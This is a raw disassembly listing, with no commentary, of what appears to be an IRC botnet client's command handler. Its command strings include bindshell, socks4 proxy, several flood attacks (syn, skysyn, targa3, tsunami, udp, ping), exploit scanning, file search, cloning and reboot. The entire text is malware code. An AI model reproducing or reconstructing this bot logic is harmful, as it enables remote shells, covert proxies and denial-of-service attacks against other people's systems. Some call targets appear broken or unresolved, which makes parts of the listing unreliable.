loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42CFA0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CB4D8
		mov	eax, off_429160[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42CF84
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42CF7C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42CF64
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42CF28
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CEE4


loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CEBC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		call	near ptr 2670E94h
		nop
		push	eax
		push	offset unk_42CE84
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE54
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE20
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42CFF4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854


loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_429498, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D7E0


loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_429498
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------


loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42D0F4 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D7F8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D7E0[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------


loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h


loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch


loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1


loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C


loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CDDC ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F


loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------


loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------


loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42D0F0 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42D0F0 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD30


loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD08
		jmp	short loc_402B24
; ---------------------------------------------------------------------------


loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42CCEC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42CCD0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42CCBC
		push	offset dword_42CCB0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42CC90
		push	offset dword_42CC80
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42CC74
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42CC68
		push	offset dword_42CC5C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42CC48
		push	offset dword_42CC3C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42CC20
		push	offset dword_42CC10
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42CBF4
		push	offset dword_42CBE4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42CBCC
		push	offset dword_42CBC0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42CC68
		push	offset dword_42CC5C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42CC48
		push	offset dword_42CC3C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42CBA8
		push	offset dword_42CB9C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42CB90
		push	offset dword_42CB84
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42CBF4
		push	offset dword_42CBE4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42CBCC
		push	offset dword_42CBC0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42CB74
		push	offset dword_42CB64
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42CB54
		push	offset dword_42CB44
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42CC20
		push	offset dword_42CC10
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42CB10
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42CB74
		push	offset dword_42CB64
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42CB54
		push	offset dword_42CB44
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42CBA8
		push	offset dword_42CB9C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42CB90
		push	offset dword_42CB84
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42CAC8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42CA78
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42CA54
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42CA34
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C970
		jnz	short loc_403191
		mov	eax, offset unk_42C948


loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
